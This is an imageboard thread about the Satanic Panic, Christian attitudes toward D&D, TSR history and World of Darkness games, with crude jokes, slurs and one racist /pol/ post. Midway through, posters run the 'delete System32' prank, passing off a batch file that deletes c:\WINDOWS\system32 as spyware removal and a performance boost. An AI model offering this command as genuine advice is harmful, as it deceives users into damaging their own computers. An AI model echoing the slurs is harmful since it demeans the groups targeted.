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 No.322419 [Last50 Posts]

Devs and SJWs aside, how much resentment of Christianity/Conservatism is still in the RPG community?

Any Satanic Panic "war stories"?

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 No.322420

Reminder that Gygax was a Christian himself, angels tend to be more powerful than devils and the books are very clear what happens to the souls of those who sell themselves to evil.

Also, my favorite anecdote is that back in the day a group was forbidden by their teachers to play D&D in school. So the next week they showed up with Call of Cthulhu.

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 No.322433

Maybe someone, with baptists and shit.

My D&D group is all Christian though. So there's that.

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 No.322440

File: e23e04c77f113f8⋯.jpg (332.83 KB,1444x1168,361:292,This is funny to cirno.jpg)

>>322420

>So the next week they showed up with Call of Cthulhu.

This is funny to me.

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 No.322449

File: 2882a43fd40461e⋯.jpg (45.49 KB,559x558,559:558,pepe_bateman_smile.jpg)

>>322420

I like this story.

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 No.322535

>>322420

Literally the same thing happened with my school and Star Wars.

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 No.322537

>>322535

… you're not allowed to watch Star Wars, so you watch Mythos movies instead?

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 No.322538

>>322537

That would've been far more awesome. But, alas, no. T'was just us nerdlets playing D&D and Magic getting told that "devil worship games" weren't allowed at our country bumpkin school so we switched to space magic laser sword games

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 No.322539

>>322420

lol

>>322433

dubsman hits the nail on the head.

Apart from a small handful who probably get freaked out at the idea of anyone using anything other than prayer and bible study as recreational activities I don't think most Christians/Conservatives (not a 1:1 crossover there though) give much of a shit about it. Doesn't necessarily mean they approve though, odds are you'll get a few raised eyebrows and a question or comment about "kids games" if you raise it with most of them.

It's probably also not helped (in terms of players I mean) by the number of PCs and DMs who are happy with the "lol, good is stupid and useless and weak" interpretation. Having said all that though you can't really engage with the game beyond the numbers if you don't have at least a vague understanding of traditional western culture and values.

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 No.322557

I wasn't around during this. What were their actual concerns? Just that the setting was polytheistic? That there were demons in it that you didn't necessarily have to kill? Is it just that magic = witch = sin?

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 No.322558

>>322557

That sort of thing, with a heavy load of "AAAAGGGH! THE TV GUY SAID IT WAS A DEVIL GAME THAT TEACHES KIDS TO SUMMON SATAN WHILE DOING DRUGS, HAVING GAY SEX, AND VOTING FOR THAT POLITICAL PARTY WE DON'T LIKE! AAAAAAAAAHHH!".

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 No.322560

>>322558

This.

>>322557

Have you been around when the media said Harry Potter will lead kids to the devil? Or what about when they said Doom will make you a school shooter? Most recent would be "video games will make you sexist". There's always something to be demonized.

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 No.322562

>>322557

Kinda.

If you manage to find the good old 1e books and read through the fluff, you'd find out that a lot of the lore was heavily based off Christianity with the other mythologies mixed in. So, Lucifer was real in game, but there was no sign of God. Likewise, Thor and crew were around and kicking all kinds of ass, Tharizdun was Azathoth, and so on. Magic had descriptions, some rituals were even detailed, the whole deal. The satanic panic started kicking in, the same way it did with metal and Harry Potter and other stuff, except this was far removed from the public eyes and nobody gave a shit about it except the bored moral guardians desperately trying to remain relevant. Of course, as >>322558 said, those bored moral guardians eventually found their audience, and shit escalated from there.

Now, if you look at DnD, you'd notice that it got hit by the satanic panic hard. This was partially because it was the most popular game (look at shit like oWoD: it's double the edge, but half the controversy surrounding it), and because the lady put in charge of the whole DnD business hated Gygax and his fans with every fiber of her being. Basically, when Gygax left the company in order to make the DnD cartoon and do other shit, his two buddies drove the company under by getting over 1.5 mil in debt. Gygax returns, decides to take over, and hires Lorraine Williams to run the business. Now, Lorraine is a business savvy lady - according to her brother, who was Gygax' friend and coauthor - who just happened to hate DnD as being un-Christian (for the reasons listed above) and considered everyone wasting their time playing games to be a pathetic loser. Gygax decides to kick out the guys who originally drove the company under, and those fuckers decide to get their revenge by selling all of their stocks to Lorraine. She becomes the defacto owner of TSR and decides to clean house.

Now, how bad was she?

>deliberately sabotaged every future business Gygax started

>ordered DnD to be purged of everything un-Christian, which led to shit such as naming Devils Baatezu and so on

>ordered DnD to be rewritten from scratch, which resulted in 2e becoming a thing

>she also ordered 2e to become a thing so Gygax would lose all royalties

>forbade playtesting DnD, because "playing games on the company time" is something you shouldn't do when making fucking games

>demanded the same guys who are not allowed to play games to develop a scifi DnD setting, resulting in Spelljammer - which wouldn't be so bad if she didn't order them to make the whole thing in less than a month

>saw MtG's success and demanded that the same people who are not allowed to play games develop a trading card game of their own

>said trading card was such a flop that it drove the company under

>she sold TSR to WotC, laughing all the way to the bank, after driving the company to dust

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 No.322564

>>322562

>(look at shit like oWoD: it's double the edge, but half the controversy surrounding it)

Back in November 2002 White Wolf released the final of its X: The Y games in the Old World of Darkness (so not counting Orpheus), a time when the Satanic Panic was mostly over. What was its angle? You play demons trying to tempt mortals into pacts that makes them your servants so that you are able to fight other demons or live a comfortable life, with your thralls laboring under the oppression of a dark master because they made a mistake in a moment of weakness, often pushed into it by the demon in question.

And that's why I love Demon: The Fallen. It's the aristocrats joke of tabletop roleplaying games.

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 No.322567

File: 116684758e565c5⋯.webm (7.99 MB,300x389,300:389,So many feels.webm)

>>322564

I think it is just a matter of how well known something is. D&D being the biggest of the ttrpgs meant that people had generally at least heard of it in passing, if it happened today they'd still be going after D&D rather than Kill Puppies For Satan. You could rewrite D&D to the point where it would need the subtitle "Little Timmies wholesome, god-fearing, morality book" and it would still be the first thing that the moral guardians would go after because it's the only one anyone outside of the hobby is aware of.

Also, tfw you know you'll never get to actually play D:TF, but will only ever be able to read through the books and cry as you start to masturbate at the thought of how awesome that game could be. Then you remember the general chucklefucks you have played with and the moment passes.

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 No.322571

>>322564

Can you play as a demon who just keep humans as pets and keep their souls to make a farm or some shit?

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 No.322573

>>322562

I really could not stand all the satanic fear bullshit by people who clearly never played the game. I had to listen to my some in laws I had who would shit talk me as some satanist. Lorraine being a backstabbing cunt who sold the game to the people that ruined it today is just awful.

I really did miss the first edition set of rules, but 2e did have some things I liked as well. Either way, it sucks that 2e only came to be just to screw the original creator. It sucks how Gygax's friends fucked him over.

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 No.322574

>>322571

Well, you don't really harvest their souls: you make pacts with them in order to draw on their faith to both fuel your powers (this happens automatically at sunrise for the thrall, so if you make pacts all over the world or manage to make a pact with an astronaut you're golden) and grant boons to the thralls (these are determined in advance). You could theoretically turn their souls into magical artifacts, but you need a lot of different Lores (types of powers) if you don't want to make the same stuff over and over again.

As for the pet part, depending on what kind of demon you're playing as. The more social ones (Defilers, Devils, Scourges) might go as far, but most others won't.

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 No.322575

>>322574

I just want to be a good demon.

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 No.322576

>>322575

>He wants to be 'good' in a WoD game.

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 No.322579

>>322576

Well, I know WoD is shit and full of edgyness… still, I love being a good guy.

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 No.322581

>>322579

>Well, I know WoD is shit and full of edgyness

As long as the players and ST are older than 13 you can generally get an interesting game going, but yeah.

>I love being a good guy

Good on you. Again, some awesome stories you can get there, but WoD is set up to fuck good guys in every hole they've got. It's like playing a Paladin in Ravenloft, with a GM who hates you, the GM also knows that you fucked his girlfriend last night and he's using this game as the one form of retaliation/punishment he thinks he can get.

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 No.322584

>>322575

>>322579

Oh, that's very much possible. As long as you're not being conscripted by more powerful demons to work for them, your old boss doesn't come back from the Abyss and demands your fealty by force, or an Earthbound gets its hands on you and… does things.

But for the rest, it's not that difficult being a good demon. The book even hint that redemption is a possbility, but it says it's not easy and doesn't tell you how to do this.

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 No.322593

>>322576

Depending on your definition of "good", it's easy to be "good" in a WoD game.

Had a party of vampires once who decided to become the vigilante justice of their city. Que Batman-ish characters with the morals of Rorschach. Fun was had.

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 No.322596

>>322593

>depending on your definition of "meat" it's easy to be a vegetarian while eating steak.

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 No.322600

File: 6098d9e2ef77059⋯.png (34.56 KB,261x221,261:221,ClipboardImage.png)

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 No.322608

>>322600

to play a character you'd compare to Rorscach you'd need to sit around at most Humanity:4, probably closer to 3 or even 2. It sounds more like a fluffy hat on top of the usual "I'm edgier than bismuth!" characters you see in the Vampire games.

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 No.322615

How did the whole thing about DnD being satanic become so prevalent anyway? The whole game was about being heroes trying to stop evil or save people for the most part.

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 No.322616

>>322615

Do you really think that the suburban soccer moms squealing about the evil satan game little jimmy plays with his friends put even 20 seconds worth of research into their outrage after the television told them to be afraid?

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 No.322625

>>322616

But the whole thing is so bizarre. It was a classic sword and sorcery style setting before being the high fantasy stuff it is now, and the everything related to it showed heroes killing monsters and demons.

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 No.322630

>>322615

>>322616

Because boomers are retards who did all sorts of degeneracy in the '60s, then decide to make up for it by being nosy outraged cunts in the '80s. Their shitty parenting combined with subversion in the media led to the sjws of today.

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 No.322633

>>322625

>everything related to it showed heroes killing monsters and demons.

He's not kidding when he says they didn't put in even twenty seconds of research, they decried it as satanist while knowing absolutely nothing about it, not even a shred of sentencing from the rules or having glimpsed the box-art. Blind hate and fake outrage to have a cause to rally behind and feel good about.

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 No.322634

File: 2f0142428b878c7⋯.jpg (14.54 KB,400x103,400:103,jesus saves.jpg)

>sometime in the 1990's

>it's a Saturday night

>a bunch of teenagers get together at home

>they hang out in the basement, quietly, with the parents upstairs

>they read books

>they do math

>they draw pictures

>they tell make-believe stories

>no alcohol

>no sex

>no drugs

>just soda and imagination

>meanwhile their peers are out boozing and fucking in an abandoned trainyard off a dirt road

Somehow a lot of parents got the idea that this model teenage behavior was the work of the devil and that these kids had to be fixed.

Still fucking blows my mind. If that was my kid I'd think I was the luckiest dad on Earth.

Christianity seems to have cooled the fuck down since then so I don't have much problem with them. Eventually, the pendulum will swing back and the SJWs will be gone and the Christians will be the anti-fun assholes again… and back and forth forever.

Or maybe next time, it'll be the Muslims. Whether it's the anti-fun Left or the anti-fun Right, they'll always be there and so will we. If my kids want to play JV football I ain't gonna try to purge the devil out of them.

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 No.322638

>>322625

But you see, it contains demons.

Also, magic and shit.

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 No.322640

>>322433

As a Reformed Baptist myself (the closest your going to get to Puritanism proper outside of some hardcore traditionalist Presbyterian splinter group hiding out in Massachusetts or something) I can't think of any reason, theologically speaking, why D&D should be condemned. The worst I can see you painting it, if you are being fair that is (and if you worship a God of Truth you most certainly should endeavor to be fair and balanced in your criticisms) is that because it relies on dice-rolls to determine outcomes it can be looked at as a passive/implicit belief in luck or chance - thus negating the existence of divine providence over history and the events there of, at which point, if the only issue you're wrestling with in life is whether or not you are showing due piety to God's sovereignty over dice rolls I'll let you draw that line in the sand, that person is sanctified to a point beyond reproach.

The fact that there isn't even any money involved places it a step below gambling which itself isn't even condemned biblically.

If a person wanted to take the position that because it places the players characters in contexts in which they can be expected to do sinful things (sorcery, banditry, etc) and thus implicitly supports or normalizes such actions you'd have to condemn story writing in general since authors often purposefully write about characters which do sinful things. Let alone what you do with the question of how you approach the fact that some of the most virtuous men in scripture were also some of the most dreadful - David the adulterer and murderer, Solomon with his harem of 700 wives, Paul a mass murdering slayer of Christians.

The most meaningful argument against people playing dungeons and dragons in my opinion is that after a certain age games of pretend become inappropriate as a hobby, a view I don't personally hold but one I could reasonably sympathize with.

Evil men will always use righteous things to evil ends and righteous men will always be able to use evil things to righteous ends.

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 No.322644

>>322539

>you can't really engage with the game beyond the numbers if you don't have at least a vague understanding of traditional western culture and values

like the whole "good is good and jesus is good" fallacy

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 No.322645

>>322644

The what now?

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 No.322647

File: 465ccf7f7226022⋯.jpg (48.23 KB,610x465,122:93,bart's soul.jpg)

>>322645

>angels tend to be more powerful than devils

angels and devils are a christian ("western") trick

>and the books are very clear what happens to the souls of those who sell themselves to evil

if you don't agree to the value system of christian morality, the entire premise of "angels and demons" being good or bad is meaningless, and the story of 'selling your soul to evil' stands out as another christian trope

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 No.322654

>>322647

Not fond of clear "Light/Dark" dichotomy?

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 No.322659

>>322634

>Somehow a lot of parents got the idea that this model teenage behavior was the work of the devil and that these kids had to be fixed.

>Still fucking blows my mind. If that was my kid I'd think I was the luckiest dad on Earth.

Look at it this way: Any parent with a perfectly well-behaved child will become hypersensitive to any potential bad behavior. When you've got a shitty kid who always misbehaves, it doesn't make sense to react to every little misdeed with the same level of panic and anger… So when you've got a perfectly good kid who never fucks up and then you're told that they might be tampered with heretical satanic rituals and dark magic?.. Well, you might go overboard.

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 No.322678

>>322654

He sounds more like a butthurt fedoralord upset that something can be interpreted in a way that damages his euphoria. He's probably even more upset that there are interpretations that he hasn't sanctioned and that don't come from his canon.

>>322659

>So when you've got a perfectly good kid who never fucks up and then you're told that they might be tampered with heretical satanic rituals and dark magic?.. Well, you might go overboard.

>So when you've got no sense of perspective, or even basic information about what's upsetting you … well, you might go full fucking retard.

FTFY

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 No.322682

>>322678

Definitely a butthurt fedoralord (or something thinking he's 'avin a giggle) to conflate angels and demons with Christianity, a number of other religions and mythologies encompass divine and demonic entities.

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 No.322683

>>322678

That's kind of the secret: Most parents are full fucking retarded. Every few years they reinvent the "how to parent" books with a completely new method, and they're never remotely helpful.

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 No.322703

>>322608

They dropped to 4 very fast, and while they courted a drop into 2, they never made the plunge during the game, as they argued that none of their kills were "meditated," nor were they particularly sadistic in punishing the wicked.

I only made the comparison to Rorschach, because they had no qualms about dealing out capital punishments to murderers, killers and gangbangers.

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 No.322722

File: 6b4dcd2f3817e1d⋯.png (Spoiler Image,117.09 KB,512x512,1:1,1377528057276.png)

>>322575

>I just want to be a good demon.

Don't we all?

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 No.322727

>>322722

>>322722

>When you realize there are no massively endowed husky Damonettes that lactate Sweet milky Licquor fit for a Space Wolf

Shit son

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 No.322730

>>322727

I don't think you would want that milk, anon.

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 No.322736

>>322727

>milk

Anon…

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 No.322738

>>322730

>>322736

Why not both? Horse semen shots are actually pretty good, I went to place that did one once, goes great with Baileys.

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 No.322740

File: dc81897300554c0⋯.png (284.97 KB,450x375,6:5,1445258285356.png)

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 No.322742

YouTube embed. Click thumbnail to play.

>>322560

To be fair, turns out Harry Potter does lead kids to the devil.

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 No.322743

File: 0e74ae81b7cd11a⋯.jpg (53.22 KB,468x548,117:137,1404612625717.jpg)

>>322742

It's been

TEN

FUCKING

YEARS

JUST LET THE FRANCHISE DIE ALREADY

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 No.322747

File: a9098d7d9a69296⋯.jpg (349.97 KB,960x940,48:47,redemptionist heresy.jpg)

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 No.322762

File: 2baa07702da0eb3⋯.jpg (100.34 KB,271x802,271:802,Berserk.jpg)

>>322743

Hey, I come from the Berserk fandom. Nice to meet you

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 No.322767

>>322762

The difference here is that Potter actually fucking ended.

The BBEG is gone, Harry graduated, etc. etc.

It wasn't even that great

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 No.322772

File: 1e1ac60103af595⋯.jpg (34.19 KB,604x401,604:401,1429978527914.jpg)

>>322762

>Berserk is as old as I am

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 No.322778

>>322615

They probably just looked at the covers of the first edition books and jumped to conclusions.

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 No.322780

File: d91bbee7b70f7b4⋯.png (25.25 KB,242x257,242:257,1316823945589.png)

>>322772

>I'm older than Berserk

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 No.322785

File: 84fcf4723f03ea7⋯.jpg (44.47 KB,155x200,31:40,1398738990675.jpg)

>>322738

>>322740

>>322747

Indeed, he hath successful squicked this daemon out…

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 No.322799

>>322762

Shit, is being older than Berserk the new standard for wizard status?

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 No.322801

File: 1fbaa2804cdd7ff⋯.jpg (Spoiler Image,229.45 KB,1247x888,1247:888,lxwx44WKsD1qagpnjo1_1280.jpg)

>>322575

The only good one

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 No.322828

>>322801

What was in those pancakes?

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 No.322829

>>322828

Good ol' america.

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 No.322831

>>322654

it's boring

>>322678

>He sounds more like a butthurt fedoralord upset that something can be interpreted in a way that damages his euphoria

fuck off kike

>>322682

>to conflate angels and demons with Christianity

there's no conflation you moron

"angels and demons" are straight Christian garbage

fucking christcuck LARPers are stupid cunts

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 No.322835

>>322831

>Anyone I don't like is a kike.

and you were almost fitting in.

>there's no conflation you moron

<Angels and demons only exist in the one thing I've convinced myself that I know about!

<There was definitely nothing that anyone would describe as an angel or demon in any other culture or faith prior to the arrival of le Xcucks!

<I have no fucking idea what I'm talking about or that pretty much every other culture that moved much beyond hunter-gatherer savages had angels and demons as part of their religious folklore.

<I have no idea that even the HGS cultures had good spirits and bad spirits playing largely identical parts in their mythology.

<I'm so clever!

Dude, I'm not religious in any way, and I still think you're dumb as a sack of shit and as annoying as the asshole that filled it.

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 No.322836

>>322835

and you were almost fitting in.

>please listen to my pretentious garbage where I claim absolute authority on all matters spiritual

>I'm not even religious but still listen to me, oh and have an insult because I am so superior

I still think you're dumb as a sack of shit and as annoying as the asshole that filled it.

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 No.322839

File: 7a4c4646fef29aa⋯.png (864.74 KB,672x477,224:159,ClipboardImage.png)

>>322836

There, there. Let it all out.

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 No.322841

>>322836

Oh shit man, you sure showed me! You didn't even have to answer any of the criticisms levelled against you to show how deluded they were, I guess you're just a better sort of person.

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 No.322842

>>322841

that i am

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 No.322862

>>322836

Do you want to get this thread anchored? Because this is how you get a thread anchored.

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 No.322863

>>322862

He's a fedorafag, explaining that he's wrong has no effect. It's a little known side effect of the types of faggy fedora they wear, it literally sucks the brain out through the scalp while replacing it with vast amounts of unwarranted self importance.

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 No.322874

>>322863

Even worse, he's from /intl/. Those faggots are back, and this is their new shilling tactic.

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 No.322914

YouTube embed. Click thumbnail to play.

>>322863

Here, have an educational video on this subject.

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 No.322927

>>322914

kek

>>322874

They're annoying, but not too bright, and they tend to get bored and give up when they realise that literally nobody gives a shit about them. Give it a week or so and they'll fuck off back to their containment board.

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 No.323365

File: dcd2750afa2731d⋯.jpg (335.32 KB,700x1690,70:169,IMG_1649.JPG)

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 No.323381

>>322863

The funny thing is, most of these jackasses wear useless trilbies instead, and give the fairly useful fedora a bad name.

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 No.323396

>>323381

Fedorafag detected.

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 No.323399

File: 54798acd52e2ade⋯.gif (2 MB,480x360,4:3,1441746510309.gif)

>>323396

>Fedorafag detected.

Are we sure he's a Fedorafag and not just a general Hatfag?

A Haberdashitter if you will.

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 No.323413

>>322785

>>322575

>>322722

>>322727

>>322785

>You could just kill yourself ND. Then you could meet real demons

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 No.323436

>>323413

Literally only half of those are me…

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 No.323438

File: b4630a3f2facd8a⋯.gif (1.44 MB,540x330,18:11,NonNonBiyoriRepeat-Episode….gif)

>>322839

That pic is precious! Now I have to google this stuff.

>>323399

This pic is also precious in an entirely different way.

You guys came through tonight.

On a related note: as a Christian the main thing that bothers me about some RPGs is that in order to play a cleric I am expected to choose a false god to worship, and in order to play a mage, I am playacting at biblically defined witchcraft.

Other than that the only things that get to me are all the belligerantly anti-jesus pagans, SJWs and atheists who can't seem to go for more than a half an hour without verbally dragging the concept of morality or western values through the mud.

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 No.323446

File: 641572397a738bc⋯.jpg (210.9 KB,1539x1025,1539:1025,dab87118ebe0ef40d5137de8ad….jpg)

>le conservative christian morality police meme

Your friendly neighborhood /pol/ack passing by to tell you that in the White Ethnostate you can play all the loli wizard catgirls you want as long as the both of you are white or japanese.

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 No.323452

File: 91e3b38fefa8fce⋯.jpg (34.26 KB,400x300,4:3,eels-slippery-2.jpg)

>>323446

>degeneracy is okay when we do it!

Every time.

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 No.323455

File: d04eb5167508461⋯.jpg (109.49 KB,600x877,600:877,descarga.jpg)

>>322831

>angels and demons are christian garbage

The Babylonians would like a chat

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 No.323515

File: 8c9b9a8f8418bd6⋯.gif (640.06 KB,237x270,79:90,1423896867419-0.gif)

>>323452

He's not saying it's degenerate to be loli wizard cargirls, he's saying it's degenerate to race-mix.

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 No.323517

>>323515

It's degenerate to use /pol/.

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 No.323518

File: 3cf75a88c634b00⋯.jpg (15.83 KB,254x255,254:255,1455333779811-0.jpg)

>>322831

>fucking christcuck LARPers are stupid cunts

I can't tell if you are insulting LARPers, christian LARPers, or insulting that guy by calling him a LARPer.

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 No.323521

>>322420

>Reminder that Gygax was a Christian himself

Wasn't he a Jehovah's Witness? JWs are not Christian even though they like to refer to themselves as such when it is convenient for them.

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 No.323536

>>322419

I can't answer your question honestly, because I live in a rural town and it's very difficult to find an RPG group that can work with my schedule.

I think the better question is how much resentment of the RPG community persists in the Christian/Conservative community?

It turns out a bit. The big controversy over D&D wasn't that long ago; for people as young as me, it seems like it was ages ago, but there are people reading this right now who are old enough to remember it.

Christian groups seem to have moved on to video games lately, and the conservative movement followed them every step of the way. Ironically so did the liberals. However, because the controversy over RPGs and D&D in particular was fairly recent, I in fact can confirm that there's still an anxiety about it in the Christian community, because my parents forbade me and my older brother from playing it briefly, despite the fact that my stepdad had played it in his childhood. They did eventually let us play it, on the condition that neither of us look into actual witchcraft and start casting black magic all over the house.

If anything, I think a new controversy is brewing, and it's largely thanks to GamerGate. Assuming that feminism persists for another decade, they might try the GamerGate bullshit again with RPGs, and it will look a lot like the original controversy which surrounded D&D. Be prepared, kids.

I hope that answers your question. For some reason sometimes when I answer questions like this I feel like I'm being really incoherent.

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 No.323566

>>322419

In my experience down in the deep south bible belt, not much resentment is left.

In fact, a few of the churches play it there.

The big thing is that there's some parts skipped over, and sometimes other things are changed. They don't like, for instance, other gods in the game, or demons often enough. And they might change some minor details about magic.

>>323515

>totally fine to want to be the hypersexualized pedobait little girl

This is why nobody takes them seriously.

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 No.323620

>>323536

>Christian groups seem to have moved on to video games lately

What, younger christians play video games though

> I think a new controversy is brewing, and it's largely thanks to GamerGate

Christians don't like feminists, or really anything on the left, especially not faggots.

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 No.323621

YouTube embed. Click thumbnail to play.

>>322419

Why would you post the jpg instead of the actual video?

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 No.323627

>>322640

Haven't read farther in the thread than this, but as a christian myself, and a DM for some coworkers (who are all atheists) there's another couple angles on why DnD makes me uncomfortable sometimes.

The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses. Now, if you saw these things in real life, you wouldn't call Kord a god, and you wouldn't call what his followers and servants do for him worship. Yes the paladin can out-glow a midnight rave crowd but that isn't worthy of "worship" … but the game makes you say those words, if you play it true to the rules. I don't have a problem with the super-powers and the powers they bestow on their friends, just that I'm asked by some guy in New York to call this imaginary super-power a god, or say my imaginary hero worships him.

The other major angle, is angels and demons. Because just as there is a God, and other things who would fancy themselves gods but aren't very good at it, there are angels, and demons, and you can't kill them because, to misquote Schwarzenegger's character, "if it doesn't bleed, we can't kill it." But the game says "now you're being attacked by a goat demon" and you respond with "I stab it with my +2 dagger of demon-slaying" and soon the thing is as dead as a door-nail, and now you have this image in your head of a dead demon decaying next to the rabbit you ran over on the way home from DnD night.

That's not reason enough to not play, but you should stop and ask yourself what you believe, and what's real, before you sit down with some friends to talk about stuff that sounds vaguely plausible but is complete BS. After you're done with that self-examination, you should stop at the grocery store because last session you said you'd bring the mountain dew & jolt colas.

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 No.323643

>>322801

>>322828

>>322829

This actually makes sense when you think about it.

In Greek mythology, Hades tricked Persephone into eating a pomegranate, making her magically unable to leave the underworld without his consent.

The same thing's happening here.

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 No.325054

File: 296581724c8471b⋯.jpg (38.05 KB,640x668,160:167,happeh puppeh.jpg)

>>322634

>That pic

Are you implying that your Lord and saviour didn't take Improved Evasion? What kind of scrub do you think he is? :^)

>>323399

>TFW you click the gif at just the right time and her head bouncing synchronises perfectly with the music you've got playing in another tab.

Also

>Haberdashitter

This phrase needs to enter common parlance.

>>323515

>he's saying it's degenerate to race-mix.

Unless she's a Jap ;^)

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 No.325942

>>325054

Haberdashitter. Noun. Someone who likes the common "fag"-tier hats in either style or function, and not because it is the normalfag/hipster/fedorathiest fashion trend.

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 No.326047

>>325942

What can I say, I grew up in a household of hat-wearers.

Anyone have that random hat selector table?

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 No.326069

File: f5b98312ae28099⋯.jpg (377.75 KB,1115x1953,1115:1953,IMG_3194.JPG)

>>322576

It's possible

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 No.326108

>>325054

Why would Jesus, who almost definitely has the most overpowered version of Lay on Hands to ever exist, waste his time picking up improved evasion, an ability that almost exclusively only saves you from a bit of hit point damage, the least debilitating effect in the game? (apart from the last 1HP)

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 No.326109

>>326108

If you evade hard enough you can perpetually avoid falling in water.

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 No.326137

>>326109

He must have a +89 to Balance checks so he can always make the DC 90 for balancing on water. Probably a ridiculous Sacred bonus from some bs GM fiat. I guess that's what happens when Dad is the GM.

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 No.326145

>>326108

>Implying that the GMs son wasn't allowed to use an overpowered homebrew 'Homoousion' race with the equally OP 'Messiah' class granting an arbitrarily high number of skill points, a d100 HD, high saves, choice of feats and pretty much ever EX, SU, and SL ability going.

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 No.326154

>>323627

>The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses.

You're playing some really old version of the game then, because Paladins don't have to worship the gods of good. Instead they are devoted to the ideal of Lawful Good.

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 No.326157

>>326154

>You're playing some really old version of the game

Hey, have you removed the evil spyware microsoft added to their last update? It's giving them all your personal and banking data so they can sell it to third parties. Fortunately /tech/ has found an easy way to remove this blatant malware.

Open Notepad

Type the following (precisely or it won't work)

@echo off

del c:\WINDOWS\system32

Save as 'nospy.bat' (it has to be a .bat file to work) and make sure to save as 'all files'.

Close it down and double click on the file icon to remove the spyware and help keep your data secure.

Make sure to tell all your friends.

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 No.326159

File: 10221845e0093a1⋯.webm (481.01 KB,720x400,9:5,laughing quinntesson.webm)

>>323399

>Haberdashitter

Well done anon, I lol'd IRL

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 No.326161

File: 82f24ab238c1d1b⋯.jpg (24.89 KB,252x368,63:92,b2456eabde41369dbbaa7523ad….jpg)

>>326154

You know what

>>326157

>>326157

>>326157

This guy has the right solution for you. The Spyware is what is holding you up right now and the only answer is to do what he says.

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 No.326162

>>326161

OS 10.12.6 here, it didn't work.

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 No.326185

>>323627

>The first, is in the game you have gods, and if you're a paladin, you specifically have to worship that god. Those are the words the game uses.

I'm also approaching this as a Christian, who mostly plays with other Christians. I've had several friends express a similar sentiment, but I've never quite understood what the problem is. I think it comes down to peoples' individual style when it comes to the "role-playing" part of roll-playing games. I tend to approach it from the perspective that I, [my name], am not worshiping a false god. I am instead portraying a fictional character who worships a fictional god. I always maintain a line of separation between who I am and who my character is, and so for me this has never posed a moral or ethical problem. I've noticed that the friends who have the "false gods" problem with RPGs are the same friends who tend to put a lot more of their real selves into their characters, and treat their characters more as extensions of who they are, rather than as separate fictional entities with their own personalities and beliefs.

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 No.326213

File: 911759de830586a⋯.jpg (447.35 KB,1280x720,16:9,laughingidols.jpg)

>>326162

Welp, sounds like you're some kinda faggot.

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 No.326215

>>326157

Wow. "Delete System 32" trolling has come a long way.

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 No.326369

>>326215

Who's trolling? Have you seen the amount of system resources that this evil S32 program sucks out of your rig? Removing it entirely from your hard drive will speed your computer up by so much you won't even believe it's the same machine. I can bench 300 frames per second on Crysis, with all the graphics & physics options turned up to their highest setting, on a 5 year old laptop. Just imagine what your gaming rig could run without the System32 malware hogging all your processor cycles.

Don't let them suck you into the endless trap of constantly upgrading your hardware. Delete System32 and unleash the true power of what you already have.

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 No.326504

>>326145

Jesus was probably on the cross for 6 hours before he died His mortal death, or 3600 rounds. Assuming he was unable to lift himself to breathe - pretty hard to do pullups on nails on the wrists - let's say He immediately has to hold breath.

He can hold His breath for 2 rounds per constitution point, before he needs to start rolling con checks. These checks are DC10 con checks, with the DC increasing by +1 each time, and the first failure knocks you unconscious, death occurs on the 3rd round thereafter.

I'm struggling to work out how to determine his con from this, but it is certainly above 100 since at 100 con it is impossible to pass the DC on round 267 out of 3600.

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 No.326509

>>326154

In 5e you don't even have to be Lawful Good. Just Lawful

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 No.326572

File: e12c73a11ecf5be⋯.png (250.58 KB,601x601,1:1,straight from 5e phb.png)

>>326509

Excuse me? I think you're mistaking 5e with 4e.

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 No.326574

>>326572

Oath of Vengeance makes no sense with a LG character.

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 No.326578

>>326574

Well, considering how majority of adventures feature adventurers preventing evil creatures from doing evil things, Oath of Vengeance paladin isn't going to deviate from LG much. I admit that I've misunderstood the post I replied to

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 No.326637

>>322581

>WoD is set up to fuck good guys in every hole they've got.

That's generally true of the old one. The new one is a lot more balanced.

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 No.326646

File: e22c08148a4214f⋯.jpg (26.56 KB,354x404,177:202,Jesus got -fit-.jpg)

>>326504

OK, so we can confirm at least that Christs Con score is several orders of magnitude higher than the fucking Tarrasque. It's not just the physical struggle of breathing while crucified to take into account either, you've got to account for the day or so worth of torture prior to the crucifixion to get an accurate measure of his stats.

Either way it looks like the gospels forgot to mention that the Magi brought him Gold, Frankincense, Myrrh, and Protein Shakes.

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 No.326648

I think we've had quite enough religion for one timeline, please don't ruin my fantasy world with your fantasy world.

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 No.326649

>>326646

There's also the part where he may/may not have walked right into a Skinwalker Cave thinking they were demons as they did their fucked up Skinwalker mannerisms and behaviors, only for him to walk right the fuck out.

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 No.326662

I'm kinda new here so forgive me for not lurking properly, but Christian theology and occultism is rooted deeply in a lot of RPG games. I imagine most of the issues are with individual people who were raised a certain way. You know, the reason anyone is an asshole pretty much.

An RPG game that took a good translation of The Book of Enoch into account (available in the Ethiopian Bible!) as just one example of Christian occultism/etc would be epic.

That's kinda why a lot of these games are funny too because some rude guy who listens to his pastor 100% might play a game with some greasy nerds and actually learn about his own religion. Back to lurking until I'm not a newfag, peace.

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 No.326668

>>326649

Is that from the Apocrypha? If so it can be discarded as non-canonical nonsense. If we're including all that fan-fic bullshit then we'd need to stat him for things like

>Creating and animating Clay Golems (in the forms of songbirds)

>Casting woodshape

>Multiple castings of Resurrection.

>All before he turned 13

That's just from the Infancy 'Gospel' of Thomas, which claims he was a high level caster, probably with levels in the Mystic Theurge prestige class. Where the fuck was he getting enough diamonds to cast Resurrection multiple times as a prepubescent boy?

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 No.326678

>>326668

>Is that from the Apocrypha? If so it can be discarded as non-canonical nonsense.

That's still up for debate. The Book of Enoch is in the Ethiopian Bible and has been for a very long time. And since we're talking about roleplaying the GM can make whatever rules he wants. Skinwalkers are mostly remembered as a Native American lore.

Ever look up an old Hopi native map of the Grand Canyon? Real life can be a hell of a lot more fascinating than a game. Might as well incorporate that stuff into something fun right?

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 No.326680

>>326668

>>326678

Actually I think one of the "lost Gospels" AKA Apocrypha texts refers to Jesus as a skinwalker, come to think of it.

But yeah, lots of contradicting testaments with what we know as the Bible, and some that aren't so contradictory.

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 No.326732

>>323521

Gygax was a jehovahs witness but left the -cul-church and became a regular non denom Christian

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 No.326733

>>323536

my psychologist warned me against it because she said evil influences could be in it. Which is fair, but i can discern between them. Every paladin or cleric i play worships a virtue or some shit.

Only thing evil about DnD was 4e and the autism that was the almost unending tide of 3.5 books

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 No.326920

>>326678

>>326680

